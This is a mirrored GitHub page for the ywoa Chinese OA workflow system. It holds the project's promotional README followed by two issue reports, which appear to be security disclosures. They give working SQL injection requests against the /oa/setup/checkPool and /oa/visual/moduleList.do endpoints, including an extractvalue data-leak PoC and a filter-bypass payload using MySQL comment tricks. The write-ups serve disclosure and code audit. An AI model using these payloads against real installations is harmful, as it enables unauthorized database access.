Coder Social home page Coder Social logo

cloudwebsoft / ywoa Goto Github PK

View Code? Open in Web Editor NEW
110.0 9.0 46.0 247.99 MB

云网OA协同办公系统 - 企业级OA系统|OA系统|OA办公|OA办公平台|OA协同|OA办公系统,基于专家级工作流引擎,深入研发15年,服务过1000多家客户,拥有成熟的 OA系统 功能。自带低代码开发平台,让您可以快速上手、快速实施、快速交付!

Home Page: http://partner.yimihome.com/static/index.html

License: Other

Java 29.44% JavaScript 53.87% HTML 5.40% Python 0.04% CSS 3.82% Shell 0.01% TeX 0.01% TypeScript 1.66% Vue 5.35% SCSS 0.35% Less 0.08%

ywoa's Introduction

Static Badge Static Badge Static Badge Static Badge

logo 云网OA,流程专家

介绍

  • 云网OA自2006年起,历经16年,服务过1000多家客户。

  • 众多客户的打磨,已使其成为成熟的OA系统。

  • 不仅功能丰富,而且自带低代码开发平台,二次开发更快更方便。

  • 为方便小伙伴们学习使用,进群可享有免费培训!

  • 页面底部有群二维码,欢迎加入!

流程及表单引擎开源

🏅 流程引擎100%开源
🏅 表单引擎100%开源

技术栈

  • 基于JAVA开发,支持MySQL/Oracle/SQLServer数据库
  • 后端框架:spring boot + mybatis plus + redis + Druid + ActiveMQ/RocketMQ
  • 前端框架:Vue3 + Ant Design + Vben Admin(优秀开源前端框架)

专业流程引擎

  • 🚀有什么样的神器,可以让您提升200%的实施速度?请试下”行云“流程引擎!
  • 功能与Activiti相似,具备串签、会签、加签、跳签、撤回、退回、转办、条件、超时设置等功能
  • 配置简洁易上手,普通办公室文员只需1小时就能快速学会流程配置方法
  • 首创一站式调试,在调试过程中可以切换用户、检查字段权限、测试脚本等
  • “行云”流程引擎100%开源,寓意:配置流程如行云流水一般,一气呵成!
  • 我们的目标:打造业内领先的超级流程引擎。

表单引擎

  • 可视化设计,所见即所得,同步生成数据库中的表
  • 61个预定义好的控件,即插即用,可让您事半功倍
  • 包括:部门选择、人员选择、公文文号、定位标注、手写签批、二维码、文件等控件
  • 更有选择拉单、SQL选取、函数等高级控件
  • 控件形成了标准规范,实现简单,只需前后端各1个文件,就可以方便地自行扩展
  • 🚀流程是发动机,而表单是车厢,两者都足够强大,承载的功能才能越多。

自带低代码开发平台

  • 🚀支持零代码搭建模块,交付及维护更方便、更快捷。
  • 可快速搭建人事、项目、合同、CRM、库存等模块,通过事件可以打通模块或第三方应用
  • 集成脚本设计器,可在线编写java代码,校验语法,响应流程验证、流转、结束等事件,以及模块的增删改等事件的处理。

门户展现

门户 - 可自由组合配置多个栏目,支持卡片、应用、模块、通知、文件、图表等多种形式的元素


门户中可配置饼图、柱状图、折线图、雷达图等图形


列表页 - 列宽、查询条件、过滤条件等均可配置


系统优势

系统拥有完整成熟的OA功能,包括门户管理、工作流、文档管理、人事管理、固定资产管理等功能。

功能 描述
专业流程引擎 1、支持多起点,多个起点自动适配发起人,省去大量的条件分支判断,极大降低流程复杂度
2、跳签,没有用户的情况一可以跳过节点,支持复杂组织机构的利器
3、选择策略,支持竞争、最闲者优先、角色中X人处理等策略
4、超时策略,超时可等待、自动交办至下一节点或返回给发起人
5、异步提交,节点上有多个人员同时处理时,可以分别提交,适用于任务下达的情况
6、矩阵式组织架构,支持项目团队人员分组,与原有组织架构一起协同流转
7、一站式测试,支持一个用户登录测完全程,无需切换帐户反复登录,在测试过程中设置可写字段、隐藏字段以及运行事件脚本,实施起来方便快捷
表单
设计
1、支持选择记录带入相关字段,如选择项目,带入项目地址、完成时间、可用预算等
2、支持拉单,可选择多条记录一起拉取,并可以自动拉单,如:选择人员,自动拉取其借款记录
3、自动冲抵,如:报销流程走完后,自动冲抵所拉取的借款记录,将来便不会再被拉取到
4、显示规则,支持根据条件判断显示或隐藏区域
5、验证规则,支持根据条件判断进行表单数据有效性校验
6、自带61个宏控件,通过宏控件标准扩展接口可实现无限扩展
智能
模块
支持零代码快速搭建模块,如:人事、CRM、车辆、项目、库存等模块,并可通过事件扩展
1、支持拖拉方式设计模块的列宽、表头排序,定义工具条按钮等
2、支持配置模块的过滤条件,可以傻瓜化配置组合条件,也可以直接在线写SQL或者java代码配置更复杂的条件
3、支持通过选项卡聚合相关表的信息,如:可以把请假审批记录聚合至人员信息表
4、支持在列表中映射其它表的字段,支持配置查询,映射字段也可以参与查询,如:项目的投资方为子表,在投资方的列表中可以映射加入项目名称,并可将其配置到查询条件中
5、支持权限设置,可配置角色、用户组、人员的增删改查等权限,并可将权限颗粒度细化到字段
6、支持扩展工具条、操作列、合计字段、行首图标等
事件
开发
1、支持在线java语法检查、自动提示,代码即刻生效,无需浪费时间编译上传重启
2、流程中支持验证、流转、退回、结束、放弃、撤回、删除等事件
3、模块中支持验证、添加、修改、删除、导入前验证、导入后清洗数据等事件

技术门槛

  • 普通办公室文员也可以快速搭建出CRM、HR、项目管理、合同管理等系统。
  • 二次开发,只需一年的java经验,就可以玩转。

学习QQ群

群二维码

群二维码

群二维码

群二维码



  • 立即扫描上面 👉最右侧 的二维码入群
  • 进群后,即刻免费获得相关文档及数据字典!
  • 进群后,即可按推送链接进入演示地址在线体验
  • 进群后,立享1小时免费培训,助您成为流程专家
  • 🚀千人大群里小伙伴正在快速增长中!

友情提醒

  • 如果您的项目时间很紧张或者团队人少任务重,建议立即进群,云网OA低代码平台将助您快速交付项目
  • 欢迎你来!

ywoa's People

Contributors

cloudwebsoft avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

ywoa's Issues

yimiYWOA<6.1 version foreground unauthorized SQL injection

Environment construction

http://partner.yimihome.com/static/index.html#/index/sys_env

image-20220722103741100

Direct one-click installation can be started, and then login on the account admin password 1111111, login if prompted authentication expired can not log in, change the local system time can

http://172.16.140.189:8088/oa/setup/license.jsp

Once installed here, the source code is available for download at gitee

https://gitee.com/bestfeng/yimioa

Download a good local idea to open a static look at the code on

image-20220722103950332

[Frontend] <6.1 Version Unauthorized SQL Injection


Through the apikit interface fuzz found an interface that can be unauthorized requests, find the corresponding implementation method in the code
Prerequisite: this hole has a condition, that is, the need for less than 6.1 version, the specific why directly on the code src/main/java/com/cloudweb/oa/controller/ApplicationController.java

The above does not need to care, specifically note the following if(isValid)

First get the version from the configuration

Get to version 6.1, then start the version determination

Determine if it is less than 3

Determine if it is less than 4

Determine if it is less than 5

Determine if it is equal to 6

The condition to be used here is that the version needs to be <= 6 in order to be successful
So change the version

You also need to change one more location, you need to change the version of the database, otherwise the login will prompt the version is inconsistent, the database and configuration file version judgment class in src/main/java/com/cloudweb/oa/service/LoginService.java


Just change the value of the version field in the oa_sys_ver table in the database

Restart tomcat after the change, and then request the specified interface without logging in

POST /oa/setup/checkPool?database=test' HTTP/1.1
Host: 172.16.140.186:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 2

Found that the return here actually has a return, will prompt the SQL statement to report an error

Here we bring out the user directly with extractvalue

POC

and+(extractvalue(1,concat(0x7e,(select+user()),0x7e)))--+

HTTP

POST /oa/setup/checkPool?database=test'and+(extractvalue(1,concat(0x7e,(select+user()),0x7e)))--+ HTTP/1.1
Host: 172.16.140.186:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 2

ywoa SQL inject Bypass and Analysis of the article

ywoaSQL-Inject-Bypass

Environment build

Windows build

Recommended to use Windows build, because idea build is very troublesome, and report a lot of errors, Windows is a one-click deployment

http://partner.yimihome.com/static/index.html#/index/sys_env

1, personnel - personnel information - orderbyGET parameter SQL injection

POST /oa/visual/moduleList.do?op=&code=personbasic&orderBy=id+%26%26+(/*!%53eLEct*/+1+FROM+(/*!%53eLEct*/(sleep(5)))a)&sort=desc&unitCode=& HTTP/1.1
Host: 172.16.140.176:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=A4CD4E79F3B246F5268600DDF907FA54; skincode=lte; name=admin; pwd=p5Bx7jxXNGCCEsQLv/rG4w==; cwbbs.auth=LkPkBkEkAkNmJmHmHhEmNmHmHmPmBmPmPmOhOhKmMmMhJlDlDiGlAlMlCiDiNlIiJlIlMlMlPlNl
Content-Length: 15

page=2&limit=20

Bypass Payload

id+%26%26+(/*!%53eLEct*/+1+FROM+(/*!%53eLEct*/(sleep(5)))a)

Environment build

Windows build

Recommended to use Windows build, because idea build is very troublesome, and report a lot of errors, Windows is a one-click deployment

One-click installation, after the installation will prompt the system has expired, go to setup and take a look

Until June 1, but it's okay, here to change the system time can be


Login successfully

Code audit

1. Personnel - personnel information - orderbyGET parameter SQL injection


POST /oa/visual/moduleList.do?op=&code=personbasic&orderBy=id+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)&sort=desc&unitCode=& HTTP/1.1
Host: 192.168.0.35:9888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.35:9888/oa/swagger-ui.html
Origin: http://192.168.0.35:9888
Connection: close
Cookie: JSESSIONID=D767FF96902770375A5E31400342B545; skincode=lte; name=admin; pwd=; cwbbs.auth=LkPkBkEkAkNmJmHmHhEmNmHmHmPmBmPmPmOhOhKmMmMhJlDlDiGlAlMlCiDiNlIiJlIlMlMlPlNl
Content-Length: 137

page=1&limit=20&realname_cond=0&realname=test18&sex=&sex_cond=1&dept=&dept_cond=0&op=search&moduleCode=personbasic&menuItem=1&mainCode=

SQL injection Bypass

The above injection payload is as follows

id+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)

The environment here is from idea, but idea has a lot of error reports, many functions are not available, I changed to Windows one-click deployment

After building it, debug it remotely with idea

When you try to reproduce this vulnerability again, you will be prompted with an XSS interception


It was curious at the time why this was XSS intercepted and not SQL intercepted? Look at the code

The specific detection logic is in the filter method in SecurityUtil.java, so let's look at the code logic here

Briefly, the main thing here is to get the values of the request parameters, and then pass them one by one to the following detection logic

Since we just prompted for an XSS attack, we will follow directly into the method antixss to see the specific implementation logic
Next you will come to Antixss.Java

src/main/java/com/cloudwebsoft/framework/security/AntiXSS.java


The antiXSS method is called by passing in the html to be detected and a true

Follow directly in to see

Check the _antiXSS method, where the content is passed in is the content to be detected

Here is the specific detection logic, but I'm only looking at the stripScriptTag method here, because it is the content inside this method that is detected, and our focus is only on what parameters are detected

Mainly by means of regularity and case-insensitive because of CASE_INSENSITIVE

Pull the following when you can see, in fact, and or sleep is filtered, create a new test class, and adjust it to know

Remove AND

The statement is normal, put back and remove sleep, the statement is normal, so since this is the case, replace and with &&, you can

statement returns normally, then after returning here

Returning to SecurityUtil.java, it will enter the logic of SQL injection, following the isValidSqlParam method

Follow the sql_inj method

We have already bypassed the detection of and and need to bypass the code logic in the second box

The main logic here is to separate inj_str using |, which will generate a list to inj_stra[], and then iterate through the list, each loop will use the indexOf method to determine whether the value in inj_stra[i] is in str, that is, if indexOf returns > 0 value exists, and vice versa, it does not exist, here you can also write a class tuned


In the sixth loop, which is when select is detected, then it is obvious that you need to bypass select
Here I was going to try to use

&& extractvalue(1,concat('~',database()))

Unfortunately, '~' will be detected as XSS, so this method does not work

The && here needs to be converted to url encoding, otherwise this request will report 400

So we can only think of ways to select this keyword, here is a bypass of the payload

id+%26%26+(/*!%53eLEct*/+1+FROM+(/*!%53eLEct*/(sleep(5)))a)


Tips: Here just by looking at the screenshot you may think that you can bypass it with SELECT capitalization, but in fact it will be converted to lowercase before calling the sql_inj method

So there is no way to capitalize to bypass

POST /oa/visual/moduleList.do?op=&code=personbasic&orderBy=id+%26%26+(/*!%53eLEct*/+1+FROM+(/*!%53eLEct*/(sleep(5)))a)&sort=desc&unitCode=& HTTP/1.1
Host: 172.16.140.176:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=A4CD4E79F3B246F5268600DDF907FA54; skincode=lte; name=admin; pwd=p5Bx7jxXNGCCEsQLv/rG4w==; cwbbs.auth=LkPkBkEkAkNmJmHmHhEmNmHmHmPmBmPmPmOhOhKmMmMhJlDlDiGlAlMlCiDiNlIiJlIlMlMlPlNl
Content-Length: 15

page=2&limit=20

Function implementation entrance



First will get the get parameter code, if the code parameter is empty, then get the Get parameter moduleCode and assign it to code, if there is no moduleCode in the get parameter, then get the formCode and copy it to code, here the code parameter passed in is personbasic

Continue to the next page

Here is the OA developer's own implementation of the SQLBuilder class


Follow this method

Follow such as getModuleListSqlAndUrlStr method, then a sql str will be returned, continue down the line is the place that causes SQL injection

Follow up this listResult method

The statements will then be spelled out in the middle

The executeQuery statement is then executed

The difference between the above and the SQL statement is that one is the count spliced in and the other is the original passed in

This is followed by a return, which is executed here with a 5-second wait, so it causes an injection

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.